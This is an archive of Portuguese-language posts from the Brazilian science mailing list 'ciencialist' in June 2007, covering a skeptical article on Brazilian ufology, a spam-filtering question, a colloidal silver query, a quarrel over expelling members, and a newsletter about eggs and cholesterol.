Segundo o Centro de Comunica��o Social da For�a A�rea, "*sobre a Opera��o
Prato, o Comando da For�a A�rea tem apenas os registros baseados nos dados
fornecidos por um dos membros dessa atividade. Um relat�rio com muitos
testemunhos foi produzido, aparentemente sem base cient�fica*". De fato, os
relat�rios dispon�veis s�o apenas uma compila��o de relatos, muitas vezes
dificilmente intelig�vel pelos erros gramaticais e sem�nticos. N�o h�
praticamente nenhuma an�lise cient�fica dos casos relatados.

[ver "Operation Saucer" Electronic
Reference<http://www.ceticismoaberto.com/research/prato/>
]

*
*
*Fato 6*

* A ufologia brasileira teve seu in�cio marcado por uma tosca fraude
fotogr�fica. Uf�logos s� reconheceram o fato tr�s d�cadas depois.*

Em nossas terras o evento que definitivamente lan�ou a ufologia ao
imagin�rio popular foi o disco voador na Barra da Tijuca, em 1952. Em
primeira p�gina e letras garrafais, a publica��o dos *Di�rios
Associados *exclamava:
"*EXTRA: DISCO VOADOR NA BARRA DA TIJUCA. O Cruzeiro apresenta, num furo
jornal�stico espetacular, a mais sensacional documenta��o jamais conseguida
sobre o mist�rio dos discos voadores"*.

Realmente sensacional. De fato, *sensacionalista*: *as fotos continham
incoer�ncias �bvias de ilumina��o* - o disco era iluminado em um sentido
diferente do resto do cen�rio. A fraude foi rejeitada no mesmo ano por Ary
Maurell Lobo, da revista *Ci�ncia Popular*, e as discrep�ncias das sombras
foram ressaltadas por americanos poucos anos depois, fazendo parte do famoso
relat�rio "Condon".

Curiosamente, entre uf�logos e mesmo militares brasileiros, a situa��o foi
bem diferente e passariam-se d�cadas at� que a fraude fosse reconhecida.
Oficiais da pr�pria aeron�utica, liderados pelo coronel Jo�o Adil de
Oliveira, analisaram as imagens e, ao falhar em reproduzi-las usando um
modelo lan�ado ao ar, *declararam-nas aut�nticas*. A fraude foi realizada em
verdade atrav�s de fotomontagens, mas nossos uf�logos n�o o notaram.

Apenas nos anos 1980, os uf�logos brasileiros Carlos Reis e Claudeir Covo
apontariam evid�ncias de que as fotografias teriam sido trucadas. Na quinta
e �ltima fotografia, Covo notou que "*para gerar a sombra no objeto, o Sol
deveria estar dentro do Oceano Atl�ntico*". Suas pesquisas geraram pol�mica
no meio, e mesmo hoje alguns uf�logos brasileiros ainda defendem a
autenticidade das imagens toscamente forjadas.

[ver Fraudes ufol�gicas: O caso Barra da
Tijuca<http://www.infa.com.br/o_caso_barra_da_tijuca01.html>
]

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=913#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] RES: E.F.R. Square OFF-TOPIC, OFF-TOPIC, HELP
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/06/2007 10:03

Olá J. Victor,

o provedor UOL faz isso 'automaticamente'. Diariamente recebo coisa de 250 mensagens; cerca de 70 entram diretamente em meu endereço eletrônico (e são, internamente, pelo outlook, selecionadas e distribuídas pelas várias pastas) e o restante fica 'preso' na pasta "quarentena" da UOL. A cada um ou dois dias entro na minha página da e-mail UOL (login e senha) e vou para a pasta 'quarentena' selecionar o que presta e o que não presta. O que presta transfiro para a pasta 'entrada' e essas são automaticamente enviadas para meu PC ao abrir o outlook.

Na própria página da UOL tem local para vc selecionar as 'listas de discussão' que devem ser liberadas assim como e-mails particulares que devem passar pelo crivo da quarentena ou deixar passar direto.

Veja se isso resolve seu problema (pois vc tem a UOL como provedor --- pelo menos na sua empresa: m.victor@uol.com.br e imscftv@uol.com.br ).
Não sei se o Yahoo atua do mesmo modo da uol.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 23 de junho de 2007 09:54
Assunto: [ciencialist] RES: E.F.R. Square OFF-TOPIC, OFF-TOPIC, HELP


Lista, o assunto é genuinamente off-topic. Mas é que preciso de help.

Seguinte: recebo, a cada vez que abro minha cx. de msgs, muitos e-mails do
tipo do abaixo, oferecendo Viagra, cialis, essas coisas que ajudam a armar
nosso instrumento de trabalho, após a "fadiga" dos depois dos cinquentinha.

Nada demais. Afinal, nada é para sempre.

Bom, é uma quantidade enorme de ofertas do tipo, enchendo a caixa e a
paciência. Pior do que isso apenas os e-mails malucos e sem sentido do
Ferrari e Voltaire, não o filósofo banguelo e feioso e genial, francês, mas
o Voltaire das bandas desta lista; além de um ou outro mais teimoso, que os
cá por cá, como convém...

O que existe de comum nesses e-mails? 1-são veiculados via Yhaoo; 2)
aparece sempre a sigla efr, em letras minúsculas e maiúsculas; 3) contudo,
o" Em nome de " varia, o que explica a profusão de avisos: olhe, fique
brocha não, tome isso, tome aquilo.

Bem, já tentei eliminar isso usando as regras de mensagens do Outlook(versão
2007). Das duas uma, ou ele não faz tais favores, ou não estou acertando
mesmo fazer as configurações. Aposto nesta última opção. Me conheço. É
isso!

Alguém mais astuto apontaria o caminho da libertação? Curioso: no note-book
da empresa não recebo nenhumazinha destas tais.

Desculpem o desvio de conduta. Mas acho que deve haver mais de vocês que
eles descobriram "esse segredo"....e estão no mesmo sufoco. Ou não?

Sds,

Victor.



De: efr@yahoogroups.com [mailto:efr@yahoogroups.com] Em nome de Adam Nichols
Enviada em: sábado, 23 de junho de 2007 09:35
Para: Efr
Assunto: E.F.R. Square



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neurotransmitter (a chemi... Read more <http://worldoxygen.hk/>





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SUBJECT: Fw: PRATA COLOIDAL
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 24/06/2007 10:13

Quem conhece esse 'gerador'?

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "lutek" <lutek@isbt.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: domingo, 24 de junho de 2007 10:12
Assunto: PRATA COLOIDAL


Bom dia professor .
gostaria muito de saber como fazer um gerador de prata coloidal?
como funciona ? pois trata-se de um aparelho pequeno e aparentemente
simples.
grato pela atenção
Luiz claudio da silva.



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SUBJECT: Fw: In�rcia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 24/06/2007 10:18

Como explico isso para o jovem?
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: henrique nunes pereira
Para: leobarretos@uol.com.br
Enviada em: sábado, 23 de junho de 2007 15:05
Assunto: Inércia


Gostaria de saber mais sobre a experiencia da inercia que está no site feira se Ciências.É a experiência que você coloca uma régua entre suas argolas de jornal.Gostaria de saber por que elas não rasgam e por que a régua quebra.


Obrigado pela atenção

Responda-me com urgência.


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Seis fatos sobre a ufologia no Brasil
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, <exobiologia_e_cia@yahoogrupos.com.br>, <painelovni@yahoogrupos.com.br>, <UFO_PORTUGAL@yahoogrupos.com.br>, <ufoburn@yahoogrupos.com.br>, <Ufolista@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 24/06/2007 11:10

Prezado Mori:

Apenas uma pergunta de um neófito, sem o menor intento de causar polêmica: a
palavra "ufologia" tem origem em "ufo" (objetos ou seres extra-terrestres e
"logos" que é conhecimento, em grego:
Como uma pessoa ou entidade pode dar-se essa classificação se não tem provas
ou evidências físicas, palpáveis de tais coisas?

O "ouví dizer" ou "me contaram" ou "vi, mais ou menos"...
não tem respaldo científico: É importante que para esse estudo uma
organização central coordenasse as pesquisas, apresentando à humanidade as
evidências de seus argumentos e teorias.

bom dia.

silvio.
----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
<exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>;
<UFO_PORTUGAL@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>;
<Ufolista@yahoogrupos.com.br>; "lista CA"
<ceticismoaberto@yahoogrupos.com.br>
Sent: Sunday, June 24, 2007 12:26 AM
Subject: [ciencialist] Seis fatos sobre a ufologia no Brasil


Seis fatos sobre a ufologia no
Brasil<http://www.ceticismoaberto.com/news/?p=913>

Neste domingo, 24 de junho de 2007, ufólogos e entusiastas pelo mundo
comemoram um *aniversário*: são 60 anos desde que o americano Kenneth Arnold
relatou ter visto curiosos objetos voando à distância, que viriam a ser
conhecidos como *discos voadores*. A data marca o início da chamada *
ufologia*, e talvez como todo aniversário, provoca certo ufanismo.

Compilamos assim os seis fatos abaixo como um contraponto crítico a tal "*
ufonismo*". Áridos, inconvenientes, mesmo deprimentes como possam ser, não
deixam de ser fatos incontestáveis, e fatos especialmente destilados da
ufologia em nosso país. Afinal, a senhora ufologia não precisa esconder sua
idade ou, no caso, uma lista tão pequena de seis simples fatos.

Esta lista deve ser seguida na próxima semana por uma série de seis fatos
sobre a ufologia no mundo, celebrando o aniversário do caso Roswell.
*Memento
mori*!

*
*
*Fato 1*

* Boa parte dos ufólogos brasileiros admite não haver provas de visitas
extraterrestres.*

Os principais ufólogos brasileiros em atividade hoje defendem a existência
de um fenômeno intrigante com casos inexplicados, mas admitem a ausência de
provas concretas a respeito de sua origem extraterrestre. Em outras
palavras, muitos ufólogos no Brasil andam com os pés no chão. Da Terra.

Claudeir
Covo<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=47&Itemid=35>,
um dos ufólogos mais reconhecidos no meio, é claro: "*Ainda não existe uma
comprovação científica para isso*".

Já Ubirajara
Rodrigues<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=46&Itemid=35>,
respeitado e bem conhecido por sua investigação do chamado "caso Varginha",
se estende ao explicar que "*entre vida, vida inteligente e vida que atingiu
um estágio inimaginável de aquisição tecnológica, existe uma distância tão
grande de complexidade científica e filosófica, que nem sequer ainda
sonhamos estar em condições de fazermos qualquer afirmação sobre elas. Que
dirá, então, de partirmos para afirmar que UFOs sejam naves de origens
cósmicas.*".

Entre ufólogos mais jovens, mas não menos ativos, o reconhecimento da
ausência de provas científicas conclusivas também é um fato consumado. "*Não
existe nenhuma prova ou evidências concretas *[da relação entre OVNIs e a
atividade de "inteligências extraterrestres"]", assegura Rogério
Chola<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=43&Itemid=35>.
Reinaldo
Stabolito<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=45&Itemid=35>alerta
que não "
*temos como saber se o fenômeno UFO são mesmo veículos espaciais de
extraterrestres. Então, quando falam sobre 'ETS', nada mais fazem do que
projetar nossas expectativas, desejos e até caráter nos supostos
extraterrestres. Pior, aproveitando-se dessa incógnita sobre o fenômeno,
muita gente explora a fé das pessoas alegando contatos extraordinários
inexistentes*".

Poderíamos citar mais alguns ufólogos ativos, mas por certo, há "ufólogos"
que não hesitam em afirmar o contrário. Um deles é Ademar Gevaerd.

*
*
*Fato 2*

* O editor da revista brasileira "UFO", Ademar Gevaerd, simplesmente fugiu
do compromisso assumido publicamente de apresentar um único caso que
evidenciasse a existência de vida inteligente fora da Terra.*

No dia 21 de setembro de 2004, Gevaerd *comprometeu-se publicamente* a
"*escolher
um caso que, a seu critério, ofereça as melhores evidências da existência de
vida inteligente fora da Terra*", oferecendo documentação relacionada que
seria analisada pela comunidade científica, representada por cinco
cientistas independentes "*das principais universidades brasileiras (como a
USP, a PUC-SP e a UNICAMP), de diferentes áreas do conhecimento*".

Oito dias depois de selar seu compromisso, Ademar Gevaerd simplesmente o
abandonou. "*Não me sinto na obrigação de oferecer provas de que os UFOs
existem a quem quer que seja*", declarou em uma surpreendente mensagem
pública. Mais curioso ainda foi o fato de Gevaerd ter citado como incentivo
à sua desistência as palavras do ufólogo Carlos Reis:

"*Eu sei, você [Gevaerd] sabe e muita gente também sabe que a ufologia é
frágil, nós não trabalhamos com provas, mas com indícios significativos de
que estamos lidando com um fenômeno de natureza desconhecida. Só isso. Não
podemos afirmar em sã consciência de que seja extraterrestre, nem podemos
falar em 'alienígenas', pois são apenas suposições, teorias, hipóteses,
elucubrações.*".

*Gevaerd continua vendendo sua revista afirmando que OVNIs seriam
extraterrestres*. Segundo ele, um dos melhores casos a provar a origem
extraterrestre do fenômeno OVNI seria o "caso Varginha".

[ver "Desafio ufológico", Radar Ockham
n.01<http://www.projetoockham.org/boletim_01.html>
]

*
*
*Fato 3*

* Ubirajara Franco Rodrigues, primeiro e reconhecidamente principal
investigador do "caso Varginha", atenta que "o que menos existe no caso
Varginha é a presença alegada de um objeto voador não-identificado [OVNI] .
Para o caso, para que possamos afirmar que seja a aparição, captura, naves
de outros planetas, seres extraterrestres, não há dado nenhum".*

"*O que até hoje existe de ufólogo no Brasil fazendo afirmações sobre o caso
sem o mínimo respaldo, informações truncadas, errôneas, não verdadeiras, a
respeito do próprio depoimento das testemunhas, são vários. E o que mais me
espanta, o que tenho ouvido de bobagem contra o caso é um número menor que
as bobagens que eu tenho ouvido a favor, nos meios da própria ufologia. .
Dos trinta ufólogos mais conhecidos no Brasil . que leram um livro de
quatrocentas páginas com todos os detalhes que forneci do caso, se forem
cinco estaremos sendo muito otimistas. E querem opinar sobre o caso*",
lamenta.

Estas declarações fazem parte de sua entrevista ao "Painel OVNI
TV<http://www.painelovni.com.br/>",
e Ubirajara Rodrigues se refere ao livro "O Caso
Varginha<http://www.ufo.com.br/index.php?arquivo=biblioteca.php&id=9>",
de sua autoria, onde conclui enfaticamente que não se pode concluir nada a
respeito do caso dada a ausência de evidências concretas.

*
*
*Fato 4*

* O pânico popular "chupa-chupa" ao fim da década de 1970 na Amazônia não é
um caso único.*

O episódio é um dos principais casos "ufológicos" ocorridos no Brasil.
Interessados em explorá-lo como um mistério insolúvel - ou "alienigenamente"
solúvel - não raro o elevam a uma posição singular, inédita, incomparável.
Não é o caso.

Relatos praticamente idênticos ocorreram na Índia no recente ano de 2002,
com a histeria "Muchnowa" - ou "*coisa que morde ou arranha o rosto*" em
hindi, apelido popular similar ao "chupa-chupa" brasileiro, que sugaria o
sangue de suas vítimas. Ambos fenômenos atingiram regiões pobres e pouco
amparadas, provocando pânico nas populações locais e produzindo pouca
evidência concreta além de relatos de luzes e ataques gerando marcas como
arranhões, cortes e queimaduras nas vítimas.


[Esquerda: Vítima de Muchnowa, Índia, 2002. Direita: Vítima do chupa-chupa,
Brasil, 1977]

No caso indiano, a idéia do envolvimento de seres alienígenas circulou,
embora com muito menos ênfase, talvez porque episódios de histeria popular
estivessem em voga. Apenas um ano antes, ataques do
"homem-macaco<http://archives.cnn.com/2001/WORLD/asiapcf/south/06/18/india.monkey/>"
aterrorizaram e provocaram mortes em tumultos. Poucos associaram o
"homem-macaco" a seres extraterrestres. De fato, especialistas apontariam o
caso como um exemplo clássico de histeria popular.

[Homem-macaco, Índia, 2001]

Qualquer que seja a explicação última ao "Muchnowa" ou ao "Chupa-chupa", é
evidente que elementos psicológicos e sociais ligam os dois eventos, muito
similares em todos os aspectos. As poucas evidências físicas disponíveis
sobre o caso brasileiro foram recolhidas à época por uma operação militar, a
chamada "Operação Prato".

*
*
*Fato 5*

* "Nossos registros cine-fotográficos não retratam nossa certeza [de que os
corpos e luzes são "inteligentemente dirigidos"], pois muito carentes de
recursos técnicos, material e pessoal, deixou a desejar. Nas demais vezes
perdemos a oportunidade, fotografando com material inadequado; acreditamos
que com melhores recursos possamos chegar ao razoavelmente satisfatório",
conclui um relatório de setembro de 1977 da "Operação Prato", que
investigava o chamado fenômeno "chupa-chupa". Isto é, admite-se a ausência
de evidência física satisfatória.*

Por que tanta precariedade? De acordo com o comando da Força Aérea, a
operação teria sido em verdade resultado do interesse pessoal sobre o tema
de alguns militares. O próprio coronel Uyrangê Hollanda, comandante da
operação, lembrou que "*foi uma felicidade estar no 1º COMAR, naquela época,
naquela região, um oficial da Aeronáutica, um brigadeiro, que acreditava em
discos voadores. Tivesse sido outro oficial, outro brigadeiro, talvez a
operação não tivesse saído*".

Segundo o Centro de Comunicação Social da Força Aérea, "*sobre a Operação
Prato, o Comando da Força Aérea tem apenas os registros baseados nos dados
fornecidos por um dos membros dessa atividade. Um relatório com muitos
testemunhos foi produzido, aparentemente sem base científica*". De fato, os
relatórios disponíveis são apenas uma compilação de relatos, muitas vezes
dificilmente inteligível pelos erros gramaticais e semânticos. Não há
praticamente nenhuma análise científica dos casos relatados.

[ver "Operation Saucer" Electronic
Reference<http://www.ceticismoaberto.com/research/prato/>
]

*
*
*Fato 6*

* A ufologia brasileira teve seu início marcado por uma tosca fraude
fotográfica. Ufólogos só reconheceram o fato três décadas depois.*

Em nossas terras o evento que definitivamente lançou a ufologia ao
imaginário popular foi o disco voador na Barra da Tijuca, em 1952. Em
primeira página e letras garrafais, a publicação dos *Diários
Associados *exclamava:
"*EXTRA: DISCO VOADOR NA BARRA DA TIJUCA. O Cruzeiro apresenta, num furo
jornalístico espetacular, a mais sensacional documentação jamais conseguida
sobre o mistério dos discos voadores"*.

Realmente sensacional. De fato, *sensacionalista*: *as fotos continham
incoerências óbvias de iluminação* - o disco era iluminado em um sentido
diferente do resto do cenário. A fraude foi rejeitada no mesmo ano por Ary
Maurell Lobo, da revista *Ciência Popular*, e as discrepâncias das sombras
foram ressaltadas por americanos poucos anos depois, fazendo parte do famoso
relatório "Condon".

Curiosamente, entre ufólogos e mesmo militares brasileiros, a situação foi
bem diferente e passariam-se décadas até que a fraude fosse reconhecida.
Oficiais da própria aeronáutica, liderados pelo coronel João Adil de
Oliveira, analisaram as imagens e, ao falhar em reproduzi-las usando um
modelo lançado ao ar, *declararam-nas autênticas*. A fraude foi realizada em
verdade através de fotomontagens, mas nossos ufólogos não o notaram.

Apenas nos anos 1980, os ufólogos brasileiros Carlos Reis e Claudeir Covo
apontariam evidências de que as fotografias teriam sido trucadas. Na quinta
e última fotografia, Covo notou que "*para gerar a sombra no objeto, o Sol
deveria estar dentro do Oceano Atlântico*". Suas pesquisas geraram polêmica
no meio, e mesmo hoje alguns ufólogos brasileiros ainda defendem a
autenticidade das imagens toscamente forjadas.

[ver Fraudes ufológicas: O caso Barra da
Tijuca<http://www.infa.com.br/o_caso_barra_da_tijuca01.html>
]

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
» <http://www.ceticismoaberto.com/news/?p=913#respond>


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SUBJECT: Re: [ciencialist] Errar é humano
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/06/2007 13:06

Prof Luiz

Eu pedi desculpas perante o grupo, mas to achando que não estou errado
diante de tal afirmação, escreverei ao grupo de ética ou entidade cientifica
brasileira e mostrarei o ato infantil e fascista em riticularizar a ciência
e seus por menores...é um absurdo o comportamento de membros e temos que ler
lorotas de um pensamento antigo e de formas cientificas ultrapassadas que
ficaram nos tempos de Carl Sagan....

Perante de tal ameaça nada mais tenho a afirmar, apenas lamentar que pessoas
que tem niveis superiores tenham tal comportamento de impor e não ensinar...

sds

Amauri


Em 23/06/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Putz Grila!!!
> Custou um bocado para perceberem a 'mancha' que Ferrari & Cia Bela deixa
> na C-List.
> Assim, mais uma vez peço licença a todos os listeiros para solicitar
> "Exclusão imediata" e apagar todas as mensagens dos arquivos da C-List no
> Yahoo, desses três inadequados participantes dessa lista de discussão.
> Excluamos essas nódoas!
> Proponho aos moderadores que se faça ONTEM essas exclusões ... tal é a
> premência dos atos!
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Nando" <nando.str@gmail.com <nando.str%40gmail.com>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: sábado, 23 de junho de 2007 14:44
> Assunto: Re: [ciencialist] Errar é humano
>
> José Carlos Antonio wrote:
>
> > Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
> > estava errado e passo a concordar com a expulsão dos três e de tantos
> > outros quantos necessário for para que essa lista volte a ser uma
> > lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).
>
> Qdo o Leo sugeriu a expulsão do Ferrari há alguns meses, não me
> manifestei, mas agora concordo com a sugestão dele.
> Mesmo não participando muito, leio cerca de 10% das mensagens da lista,
> e com certeza posso viver sem mensagens do tipo 'dividam o um' e outras
> besteiras.
>
> Quanto aos outros usuários citados (Amauri e José Renato), não me
> incomodei com nenhuma mensagem deles, mas não considero as viagens do
> Ferrari adequadas pra essa lista. Venho aqui pra ler alguma coisa sobre
> ciência, e não filosofia de 10ª categoria.
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


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SUBJECT: RE: [ciencialist] Fw: PRATA COLOIDAL
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/06/2007 14:26

Só pode ser um tipo de pilha em que a Ag oferecerá uma grande área de
contato p/reação.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: "ciencialist" <ciencialist@yahoogrupos.com.br>
>Subject: [ciencialist] Fw: PRATA COLOIDAL
>Date: Sun, 24 Jun 2007 10:13:40 -0300
>
>Quem conhece esse 'gerador'?
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "lutek" <lutek@isbt.com.br>
>Para: <leobarretos@uol.com.br>
>Enviada em: domingo, 24 de junho de 2007 10:12
>Assunto: PRATA COLOIDAL
>
>
>Bom dia professor .
>gostaria muito de saber como fazer um gerador de prata coloidal?
>como funciona ? pois trata-se de um aparelho pequeno e aparentemente
>simples.
>grato pela atenção
>Luiz claudio da silva.
>
>
>
>--
>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.5.472 / Virus Database: 269.9.6/862 - Release Date: 22/06/2007
>15:04
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Ferrofluido também é arte
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 24/06/2007 15:45

Bem interessante:
http://www.youtube.com/watch?v=A5OhZ9wT568


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Mapa e território
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/06/2007 20:22

Eita,

As discussões estão bem acaloradas por aqui.

On 6/23/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Ferrari et Cia Bela,
>
> pega seu mapa, seu território, sua ciência, seu cientista, sua onda, seu
> UM, ... e toda a enxurrada de asneira que cabe na sua cabeça e enfia no seu
> ... mapa ou território? E, boa viagem junto aos seus!
>
> sinceramente,
> Luiz Ferraz Netto [Léo]
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@yahoo.com.br <emailferrari%40yahoo.com.br>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: sábado, 23 de junho de 2007 11:48
> Assunto: [ciencialist] Re: Mapa e território
>
> Olá Roberto!
>
> Já que o Takata não quer conversa com o ferrari. Quem
> sabe o Roberto!
>
> Roberto >>> A prática da ciência é sempre partir do
> pressuposto q de é possível estar enganado.
>
> --- Este é o problema. A ciencia não pratica ciencia,
> ela não é um ente, quem pratica ciencia é o ser
> humano, o cientista. Assim, este presuposto ai não é
> pra ciencia. A ciencia não tem nada a ver com
> pressupostos nem com enganos. Isto é pro cientista. A
> ciencia (em si) nunca erra, nunca se engana. Quem se
> engana é o cientista. Não existe enganos na natureza,
> graças ao território. Só existe engano na observação,
> no mapa, na cabeça do cientista. Eis ai um pressuposto
> fundamental, mas que grande partes dos fisicos
> insistem em ignorar.
>
> sinceramente
> ferrari
>
>
>



--
Luiz Antonio Picanço
-----------
Programando na madrugada:
http://www.luizantonio.com
NeutrineGTD:
http://neutrinegtd.neutrine.com
Não Enche:
http://www.naoenche.com


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Res: [ciencialist] Fw: PRATA COLOIDAL
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/06/2007 22:29

[E]> só espero que não seja isso
http://www.pontalenergetico.com.br/Brasil/Shopping/prata_coloidal.htm

http://www.amx.com.br/_model1/produto.asp?produto=0900&emp=ccosmica



_\|/_

----- Mensagem original ----
De: murilo filo <avalanchedrive@hotmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Domingo, 24 de Junho de 2007 14:26:48
Assunto: RE: [ciencialist] Fw: PRATA COLOIDAL













Só pode ser um tipo de pilha em que a Ag oferecerá uma grande área de

contato p/reação.



>From: "Luiz Ferraz Netto" <leobarretos@ uol.com.br>

>Reply-To: ciencialist@ yahoogrupos. com.br

>To: "ciencialist" <ciencialist@ yahoogrupos. com.br>

>Subject: [ciencialist] Fw: PRATA COLOIDAL

>Date: Sun, 24 Jun 2007 10:13:40 -0300

>

>Quem conhece esse 'gerador'?

>

>[]'

> ============ ========= ======

> Luiz Ferraz Netto [Léo]

> leobarretos@ uol.com.br

> http://www.feiradec iencias.com. br/doacoes. asp

> ============ ========= ======

>-----Mensagem Original---- -

>De: "lutek" <lutek@isbt.com. br>

>Para: <leobarretos@ uol.com.br>

>Enviada em: domingo, 24 de junho de 2007 10:12

>Assunto: PRATA COLOIDAL

>

>

>Bom dia professor .

>gostaria muito de saber como fazer um gerador de prata coloidal?

>como funciona ? pois trata-se de um aparelho pequeno e aparentemente

>simples.

>grato pela atenção

>Luiz claudio da silva.

>

>

>

>--

>No virus found in this incoming message.

>Checked by AVG Free Edition.

>Version: 7.5.472 / Virus Database: 269.9.6/862 - Release Date: 22/06/2007

>15:04

>

>

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>Página de apoio

>http://www.ciencial ist.com

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SUBJECT: GUERRA DE OVOS
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 24/06/2007 23:12

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 24/06/2007 - No.053 – ANO II

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

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Olá,

Dizem que a coisa mais engordante que você pode colocar em um prato de macarronada duplo é um garfo. Esse tipo de conselho é especialmente válido quando consideramos que vem chegando aí mais uma segunda-feira – e com ela, mais um Dia Internacional da Dieta. Sim, porque toda dieta de respeito que se preze tem que começar numa segunda-feira.

Algumas pessoas levam a preocupação com a comida a níveis tão alarmantes que terminam infartando mesmo comendo ou não comendo. O que importa é a angústia.

Para tentar reduzir o sentimento de culpa que está fazendo check-in em seu estômago, preparei um pequeno estudo sobre um dos alimentos mais execrados da história: o ovo.

Espero que lhe sirva de esclarecimento – e alívio.

Um abraço e nos vemos adiante!


Dr. Alessandro Loiola.

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GUERRA DE OVOS

© Dr. Alessandro Loiola


Se as galinhas pudessem entrar na justiça com processos por perdas e danos morais, elas ficariam milionárias com seus ovos. Não acredito que nenhum outro alimento tenha sido mais injustamente difamado nas últimas décadas que este subproduto de nossas amigas penosas. Por que isto aconteceu?

Em defesa dos frascos e comprimidos (neste caso, das galinhas e seus ovos), aqui vamos nós:

A reputação dos ovos começou a ir frigideira abaixo nos anos 60, quando os pesquisadores fizeram as primeiras conexões entre doenças cardíacas e altos níveis de colesterol no sangue. Dados estatísticos mostraram que a maioria dos infartados apresentava uma dieta rica em gorduras, entre outros fatores de risco. Em resposta, os cientistas determinaram que 300 mg de colesterol por dia seria a fronteira do aceitável. Acima disso no seu prato, você estaria por sua própria conta e os médicos lavariam as mãos.

Como nada melhor uma amostra grátis do apocalipse para vender um pouco mais de revistas e notícias (vide desde aquecimento global até doença da vaca louca), os especialistas aproveitaram a deixa e saíram em busca de culpados mais palpáveis.

Foram necessários apenas uns poucos anos de pesquisa para que o oráculo da ciência alertasse ao mundo: fujam da gema de ovo! Ela é uma das fontes mais ricas em colesterol que se conhece!! O aviso baseava-se na presunção lógica (porém incorreta) de que todo o colesterol presente nos alimentos se transferiria direta e inexoravelmente para o seu sangue feito um míssil Tomahawk.

A bem da verdade, um único ovo contém mais de 5 gramas de proteína pura, além de um fabuloso coquetel de vitaminas e sais minerais. Eles também são uma ótima fonte de colina (uma substância associada ao bom funcionamento da memória), luteína e zeaxantina (relacionadas ao bom funcionamento da visão).

